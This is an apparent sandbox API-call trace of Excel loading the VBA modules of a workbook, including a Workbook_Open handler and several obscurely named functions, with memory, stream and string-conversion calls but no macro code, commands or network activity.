	[0050.203] atoi (_Str="99") returned 99
	[0050.203] atoi (_Str="99") returned 99
	[0050.203] IMalloc:Realloc (This=0x7feffc15380, pv=0xbc59b90, cb=0x860) returned 0xbcffa40
	[0050.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac
	[0050.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac
	[0050.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook_Open") returned 0x10e19b
	[0050.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2c06, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13
	[0050.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2c06, cbMultiByte=13, lpWideCharStr=0x742fdf8, cchWideChar=13 | out: lpWideCharStr="Workbook_Open") returned 13
	[0050.203] IMalloc:Realloc (This=0x7feffc15380, pv=0xba57970, cb=0x100) returned 0xb97ecf0
	[0050.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Forms2F") returned 0x104b02
	[0050.203] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="Forms2F" | out: _Dst="Forms2F") returned 0x0
	[0050.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac
	[0050.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="marrsell") returned 0x109d0b
	[0050.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b62, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8
	[0050.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b62, cbMultiByte=8, lpWideCharStr=0xb881ca8, cchWideChar=8 | out: lpWideCharStr="marrsell") returned 8
	[0050.204] IMalloc:Realloc (This=0x7feffc15380, pv=0xb97ecf0, cb=0x200) returned 0x7383170
	[0050.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="marrsell") returned 0x109d0b
	[0050.204] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="marrsell" | out: _Dst="marrsell") returned 0x0
	[0050.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AndPlus") returned 0x103341
	[0050.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac
	[0050.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="njk") returned 0x10b961
	[0050.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2c5e, cbMultiByte=3, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3
	[0050.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2c5e, cbMultiByte=3, lpWideCharStr=0xb881ca8, cchWideChar=3 | out: lpWideCharStr="njk") returned 3
	[0050.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sStr") returned 0x103058
	[0050.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sStr") returned 0x103058
	[0050.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sSrt") returned 0x103010
	[0050.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mmm") returned 0x10b479
	[0050.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sStr") returned 0x103058
	[0050.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac
	[0050.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="settler") returned 0x100606
	[0050.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2cd2, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7
	[0050.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2cd2, cbMultiByte=7, lpWideCharStr=0xb881ca8, cchWideChar=7 | out: lpWideCharStr="settler") returned 7
	[0050.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="settler") returned 0x100606
	[0050.205] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="settler" | out: _Dst="settler") returned 0x0
	[0050.205] IMalloc:Realloc (This=0x7feffc15380, pv=0xbcffa40, cb=0x10c0) returned 0xbcffa40
	[0050.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="doublecheck") returned 0x10f783
	[0050.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2cfa, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11
	[0050.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2cfa, cbMultiByte=11, lpWideCharStr=0xb881ca8, cchWideChar=11 | out: lpWideCharStr="doublecheck") returned 11
	[0050.206] IMalloc:Realloc (This=0x7feffc15380, pv=0x7383170, cb=0x400) returned 0xb8e1270
	[0050.206] CExposedStream::Read () returned 0x0
	[0050.206] CExposedStream::Read () returned 0x0
	[0050.206] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="doublecheck") returned 0x10f783
	[0050.206] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="doublecheck" | out: _Dst="doublecheck") returned 0x0
	[0050.206] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.206] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.206] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.206] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="formsands") returned 0x1020d8
	[0050.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2d26, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9
	[0050.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2d26, cbMultiByte=9, lpWideCharStr=0xb881ca8, cchWideChar=9 | out: lpWideCharStr="formsands") returned 9
	[0050.206] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="formsands") returned 0x1020d8
	[0050.207] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="formsands" | out: _Dst="formsands") returned 0x0
	[0050.207] IMalloc:Realloc (This=0x7feffc15380, pv=0xbcffa40, cb=0x2180) returned 0xbcffa40
	[0050.207] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.207] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.207] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.207] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cleardatas") returned 0x106438
	[0050.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2d52, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0050.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2d52, cbMultiByte=10, lpWideCharStr=0xb881ca8, cchWideChar=10 | out: lpWideCharStr="cleardatas") returned 10
	[0050.207] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cleardatas") returned 0x106438
	[0050.207] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="cleardatas" | out: _Dst="cleardatas") returned 0x0
	[0050.207] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.207] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="commde") returned 0x100320
	[0050.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2d7e, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6
	[0050.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2d7e, cbMultiByte=6, lpWideCharStr=0xb881ca8, cchWideChar=6 | out: lpWideCharStr="commde") returned 6
	[0050.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="commde") returned 0x100320
	[0050.208] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="commde" | out: _Dst="commde") returned 0x0
	[0050.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="crsss") returned 0x10bd4f
	[0050.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2da6, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5
	[0050.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2da6, cbMultiByte=5, lpWideCharStr=0xb881ca8, cchWideChar=5 | out: lpWideCharStr="crsss") returned 5
	[0050.209] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8e1270, cb=0x800) returned 0xbd01c00
	[0050.210] CExposedStream::Read () returned 0x0
	[0050.210] CExposedStream::Read () returned 0x0
	[0050.210] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="crsss") returned 0x10bd4f
	[0050.210] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="crsss" | out: _Dst="crsss") returned 0x0
	[0050.210] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.210] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.210] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.210] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AndPlus") returned 0x103341
	[0050.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2c36, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7
	[0050.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2c36, cbMultiByte=7, lpWideCharStr=0xb881ca8, cchWideChar=7 | out: lpWideCharStr="AndPlus") returned 7
	[0050.210] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AndPlus") returned 0x103341
	[0050.211] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="AndPlus" | out: _Dst="AndPlus") returned 0x0
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="settler") returned 0x100606
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="doublecheck") returned 0x10f783
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="formsands") returned 0x1020d8
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cleardatas") returned 0x106438
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="commde") returned 0x100320
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="crsss") returned 0x10bd4f
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sdemom") returned 0x10fd9c
	[0050.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2bde, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6
	[0050.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2bde, cbMultiByte=6, lpWideCharStr=0xb881ca8, cchWideChar=6 | out: lpWideCharStr="sdemom") returned 6
	[0050.212] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sdemom") returned 0x10fd9c
	[0050.212] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="sdemom" | out: _Dst="sdemom") returned 0x0
	[0050.212] IMalloc:Realloc (This=0x7feffc15380, pv=0xbcffa40, cb=0x4300) returned 0xbd11bd0
	[0050.212] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.212] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.213] CExposedStream::Read () returned 0x0
	[0050.213] IMalloc:Realloc (This=0x7feffc15380, pv=0xbcfcb50, cb=0x444) returned 0xbcfcb50
	[0050.213] CExposedStream::Release () returned 0x1
	[0050.213] CExposedStream::Release () returned 0x0
	[0050.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x26f550, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7
	[0050.214] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8
	[0050.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x26f690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7
	[0050.214] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8
	[0050.214] IMalloc:Realloc (This=0x7feffc15380, pv=0xbacfa30, cb=0x10) returned 0xbb722f0
	[0050.214] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba57970
	[0050.214] IMalloc:GetSize (This=0x7feffc15380, pv=0xba57970) returned 0x80
	[0050.214] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xbd15f10
	[0050.215] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xbd15fd0
	[0050.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x26f550, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7
	[0050.215] CoCreateGuid (in: pguid=0x26f280 | out: pguid=0x26f280*(Data1=0xf755d05b, Data2=0xd133, Data3=0x4867, Data4=([0]=0xbc, [1]=0xeb, [2]=0x6a, [3]=0xba, [4]=0x57, [5]=0xd2, [6]=0xa4, [7]=0xa0))) returned 0x0
	[0050.215] CoCreateGuid (in: pguid=0x26f290 | out: pguid=0x26f290*(Data1=0x42506242, Data2=0x8600, Data3=0x4af5, Data4=([0]=0x84, [1]=0x25, [2]=0x4f, [3]=0xcd, [4]=0x43, [5]=0xe9, [6]=0x9a, [7]=0xb4))) returned 0x0
	[0050.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x26f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7
	[0050.215] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8
	[0050.215] GetLocalTime (in: lpSystemTime=0x26f178 | out: lpSystemTime=0x26f178*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0x8, wMinute=0x1, wSecond=0x9, wMilliseconds=0x28f)) 
	[0050.215] _ultow_s (in: _Value=0x5dbe8945, _Buffer=0xbc58b74, _BufferCount=0x9, _Radix=16 | out: _Buffer="5dbe8945") returned 0x0
	[0050.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="025dbe8945", cchWideChar=11, lpMultiByteStr=0x26f110, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="025dbe8945", lpUsedDefaultChar=0x0) returned 11
	[0050.215] strcpy_s (in: _Dst=0xb9a9e18, _DstSize=0x7, _Src="Sheet1" | out: _Dst="Sheet1") returned 0x0
	[0050.215] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8014d0, cb=0xd0) returned 0xba9f660
	[0050.215] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8
	[0050.215] wcscpy_s (in: _Destination=0xbc58b88, _SizeInWords=0x7, _Source="Sheet1" | out: _Destination="Sheet1") returned 0x0
	[0050.215] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8
	[0050.215] wcscpy_s (in: _Destination=0xbc58b98, _SizeInWords=0x7, _Source="Sheet1" | out: _Destination="Sheet1") returned 0x0
	[0050.215] IMalloc:Realloc (This=0x7feffc15380, pv=0xbb71ab0, cb=0x24) returned 0xb791d00
	[0050.215] IMalloc:Realloc (This=0x7feffc15380, pv=0xbace270, cb=0xc) returned 0xbb71ab0
	[0050.215] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0x4ee7f10
	[0050.216] IMalloc:Free (This=0x7feffc15380, pv=0xb801460) 
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb791e20
	[0050.216] IMalloc:Realloc (This=0x7feffc15380, pv=0xb791e20, cb=0x74) returned 0xbc881d0
	[0050.216] IMalloc:Free (This=0x7feffc15380, pv=0x4ee7f10) 
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x74cdb20
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb791e20
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbb723d0
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba578e0
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbace270
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacfa30
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x688) returned 0xb6d7360
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba57a00
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0xb8d6220
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb791e50
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacf0f0
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbace250
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb790740
	[0050.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba57a90
	[0050.216] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918
	[0050.216] wcsncpy_s (in: _Destination=0x26f2f0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0050.216] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", cchLength=0x34 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls") returned 0x34
	[0050.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", cchWideChar=53, lpMultiByteStr=0x26f220, cbMultiByte=106, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 53
	[0050.216] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0
	[0050.216] CExposedStream::Seek () returned 0x0
	[0050.216] CExposedStream::AddRef () returned 0x2
	[0050.217] CExposedStream::Read () returned 0x0
	[0050.217] CExposedStream::AddRef () returned 0x3
	[0050.217] CExposedStream::Release () returned 0x2
	[0050.217] IMalloc:Alloc (This=0x7feffc15380, cb=0x2ee0) returned 0xbcfcfb0
	[0050.217] CExposedStream::Read () returned 0x0
	[0050.217] CExposedStream::Read () returned 0x0
	[0050.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff
	[0050.217] IMalloc:Alloc (This=0x7feffc15380, cb=0x7) returned 0xbacfa50
	[0050.217] IMalloc:Alloc (This=0x7feffc15380, cb=0xe) returned 0xbb72450
	[0050.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbacfa50, cbMultiByte=7, lpWideCharStr=0xbb72450, cchWideChar=7 | out: lpWideCharStr="Sheet1") returned 7
	[0050.217] IMalloc:Free (This=0x7feffc15380, pv=0xbacfa50) 
	[0050.217] IMalloc:Free (This=0x7feffc15380, pv=0xbb72450) 
	[0050.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8
	[0050.217] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb7907d0
	[0050.217] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0x4d7d970
	[0050.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb7907d0, cbMultiByte=40, lpWideCharStr=0x4d7d970, cchWideChar=40 | out: lpWideCharStr="0{00020820-0000-0000-C000-000000000046}") returned 40
	[0050.217] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0x4d84690
	[0050.217] IMalloc:Realloc (This=0x7feffc15380, pv=0xbace270, cb=0x20) returned 0xb790800
	[0050.217] IMalloc:Realloc (This=0x7feffc15380, pv=0xbacf0f0, cb=0x28) returned 0xb790830
	[0050.217] IMalloc:Free (This=0x7feffc15380, pv=0xb7907d0) 
	[0050.217] IMalloc:Free (This=0x7feffc15380, pv=0x4d7d970) 
	[0050.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77
	[0050.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01
	[0050.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92
	[0050.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01
	[0050.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7
	[0050.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4
	[0050.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3
	[0050.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4
	[0050.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e
	[0050.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01
	[0050.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d
	[0050.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4
	[0050.219] CExposedStream::Read () returned 0x0
	[0050.219] IMalloc:Realloc (This=0x7feffc15380, pv=0xbcfcfb0, cb=0x258) returned 0xbcfcfb0
	[0050.219] CExposedStream::Release () returned 0x1
	[0050.219] CExposedStream::Release () returned 0x0
	[0050.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Module1", cchWideChar=8, lpMultiByteStr=0x26f5e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module1", lpUsedDefaultChar=0x0) returned 8
	[0050.221] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module1") returned 0x101162
	[0050.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Module1", cchWideChar=8, lpMultiByteStr=0x26f720, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module1", lpUsedDefaultChar=0x0) returned 8
	[0050.221] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module1") returned 0x101162
	[0050.221] IMalloc:Realloc (This=0x7feffc15380, pv=0xbb722f0, cb=0x18) returned 0xbb72450
	[0050.221] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba57b20
	[0050.221] IMalloc:GetSize (This=0x7feffc15380, pv=0xba57b20) returned 0x80
	[0050.221] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xbd16090
	[0050.221] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xbd16150
	[0050.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Module1", cchWideChar=8, lpMultiByteStr=0x26f5e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module1", lpUsedDefaultChar=0x0) returned 8
	[0050.221] CoCreateGuid (in: pguid=0x26f310 | out: pguid=0x26f310*(Data1=0xe5c70d24, Data2=0x9e69, Data3=0x4cdc, Data4=([0]=0xa9, [1]=0x36, [2]=0x52, [3]=0xc9, [4]=0x7, [5]=0x81, [6]=0xa4, [7]=0xf7))) returned 0x0
	[0050.221] CoCreateGuid (in: pguid=0x26f320 | out: pguid=0x26f320*(Data1=0x42ff0216, Data2=0xbe61, Data3=0x4427, Data4=([0]=0x82, [1]=0x26, [2]=0xdc, [3]=0x9a, [4]=0x0, [5]=0x8c, [6]=0x53, [7]=0xed))) returned 0x0
	[0050.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module1", cchWideChar=8, lpMultiByteStr=0x26f330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module1", lpUsedDefaultChar=0x0) returned 8
	[0050.221] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module1") returned 0x101162
	[0050.221] GetLocalTime (in: lpSystemTime=0x26f208 | out: lpSystemTime=0x26f208*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0x8, wMinute=0x1, wSecond=0x9, wMilliseconds=0x29e)) 
